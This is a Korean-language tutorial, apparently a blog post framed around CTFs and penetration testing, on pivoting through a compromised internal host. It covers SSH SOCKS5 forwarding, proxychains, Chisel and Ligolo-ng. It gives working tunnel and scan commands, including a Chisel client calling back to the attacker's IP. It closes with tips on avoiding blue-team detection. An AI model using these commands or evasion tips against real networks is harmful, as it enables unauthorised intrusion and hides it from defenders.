내부 네트워크에서 단일 호스트가 손상되었다고 해도 신뢰할 수 있는 피벗 경로가 없으면 무용지물입니다. SSH를 통한 SOCKS5 터널은 가장 낮은 지연 시간과 가장 많은 도구와 호환되는 측면 이동 방법을 제공하지만, 대부분의 운영자는 이를 잘못 구성하거나 유능한 블루 팀이 몇 초 만에 발견할 수 있는 포렌식 흔적을 남깁니다. 2024년에도 제대로 설정된 SOCKS5 프록시는 원시 TCP 처리량에서 HTTP CONNECT 프록시보다 여전히 우수하며, proxychains-ng 및 Chisel 같은 도구를 사용하면 대상의 방화벽 규칙을 건드리지 않고 단일 SSH 세션을 통해 nmap, Metasploit 및 사용자 정의 스크립트를 라우팅할 수 있습니다.
SSH를 통한 SOCKS5가 포트 포워딩보다 나은 이유
정적 로컬 포트 포워딩(-L)은 원격 서비스와 상호 작용하기 전에 각 서비스를 로컬 포트에 매핑해야 합니다. /24 서브넷을 스캔해야 한다면 254개의 개별 포워드를 생성해야 합니다. SOCKS5 동적 포워딩(-D)은 SSH 터널을 통해 모든 TCP 연결을 원격 호스트로 라우팅하는 로컬 SOCKS5 프록시를 노출하여 이 문제를 해결합니다. 이 프로토콜은 RFC 1928에 정의되어 있으며 인증, UDP(선택 사항) 및 IPv6를 처리합니다. 실제로는 일반적으로 127.0.0.1:1080에서 수신 대기하는 단일 로컬 리스너를 얻을 수 있으며, SOCKS 프록시를 지원하는 모든 도구가 이를 사용할 수 있습니다. 오버헤드는 미미합니다. SSH 암호화로 인해 CPU 사용량이 5-10% 정도 증가할 수 있지만, 지연 시간은 VPN이나 웹 셸을 통한 역방향 포트 포워드보다 훨씬 낮습니다.
Linux 발판에서 SOCKS5 리스너 설정
대상 네트워크 내 Linux 호스트에서 셸을 획득했다고 가정합니다. 피벗을 설정하는 가장 빠른 방법은 손상된 호스트에서 공격 머신으로 ssh -D 1080 -N -f user@your-listener를 실행하는 것입니다. 그러나 이는 아웃바운드 SSH 액세스가 필요하며 차단될 수 있습니다. 대신 공격 머신에서 손상된 호스트로 동적 포워드를 실행합니다:
ssh -D 1080 -N -f compromised_user@compromised_host
이렇게 하면 로컬 포트 1080에서 SOCKS5 프록시가 열립니다. 이제 proxychains-ng(/etc/proxychains.conf)를 구성하여 해당 프록시를 사용하도록 합니다:
socks5 127.0.0.1 1080
그런 다음 터널을 통해 모든 TCP 도구를 실행합니다:
proxychains4 nmap -sT -Pn -p 445,3389 10.10.10.0/24
nmap는 SOCKS5가 원시 SYN 패킷을 지원하지 않으므로 -sT(TCP 연결 스캔)이 필요합니다. Metasploit의 경우 setg Proxies socks5:127.0.0.1:1080를 설정하면 모든 보조 및 익스플로잇 모듈이 피벗을 통해 라우팅됩니다. 이 기술은 Hack The Box 또는 Proving Grounds와 같은 CTF 환경에서 두 번째 서브넷에 도달해야 할 때 효과적입니다.
Chisel, Ligolo-ng 및 트레이드오프
SSH를 사용할 수 없는 경우(예: 대상이 Windows를 실행 중이거나 SSH 서버가 없는 경우) 대체 터널링 도구가 그 공백을 메웁니다. Chisel은 Go 기반 클라이언트와 서버를 사용하여 TCP를 HTTP/HTTPS를 통해 터널링합니다. 공격 박스에서 서버를 실행합니다: chisel server -p 8000 --reverse. 손상된 호스트에서 클라이언트를 실행합니다: chisel client your_ip:8000 R:socks. 그러면 서버 측에 SOCKS5 리스너가 생성됩니다. Chisel은 빠르고 제한적인 이그레스 필터를 통과할 수 있지만, 기본적으로 트래픽이 암호화되지 않습니다. 작전 보안이 중요하다면 TLS로 감싸거나 SSH를 사용하십시오.
Ligolo-ng는 다른 접근 방식을 취합니다. TUN/TAP 인터페이스를 사용하여 레이어 3에서 네트워크 터널을 생성합니다. SOCKS5 대신 전체 IP 범위를 피벗을 통해 라우팅합니다. 즉, proxychains 없이 nmap -sS(SYN 스캔)을 실행할 수 있습니다. 트레이드오프는 관리 오버헤드입니다. 양쪽 끝에서 루트 권한이 필요하며, 터널 설정에는 공격 머신에 경로를 추가해야 합니다. 양쪽을 제어할 수 있는 CTF에서는 Ligolo-ng가 더 빠릅니다. 실제 공격에서는 SOCKS5 접근 방식이 피벗 호스트에서 상승된 권한 없이 작동하므로 이식성이 더 뛰어납니다.
공격자가 남기는 탐지 신호
모든 피벗 방법은 아티팩트를 남깁니다. SSH 동적 포워드는 손상된 호스트에 수신 소켓을 생성합니다. ss -tlnp는 127.0.0.1:1080에 바인딩된 ssh 프로세스를 보여줍니다. 블루 팀은 이를 외부 IP로의 아웃바운드 SSH 연결과 연관시킬 수 있습니다. Chisel의 클라이언트 프로세스는 기본적으로 chisel로 명명됩니다. 프로세스 모니터링으로 쉽게 탐지할 수 있습니다. Ligolo-ng는 서버에서는 비정상적인 TUN 장치(ip link show)가 필요합니다.
더 나쁜 점은 많은 운영자가 정리를 잊어버린다는 것입니다. SSH 세션은 원격 호스트가 종료하거나 연결이 끊어질 때까지 유지됩니다. Proxychains는 로컬 아티팩트를 남기지 않지만, nmap 트래픽 자체(일반적으로 스캔하지 않는 호스트에서 발생하는 비정상적인 포트 스캔)는 IDS 경고를 트리거합니다. 가장 흔한 실수는 기본 SOCKS5 포트 1080을 재사용하는 것입니다. 높은 임시 포트(예: ssh -D 53421)로 변경하고 proxychains 구성을 별칭으로 지정하여 기본 구성 파일을 남기지 않도록 하십시오. CTF에서는 이 모든 것이 중요하지 않습니다. 실제 침투 테스트에서는 이러한 신호가 발각되는 원인입니다.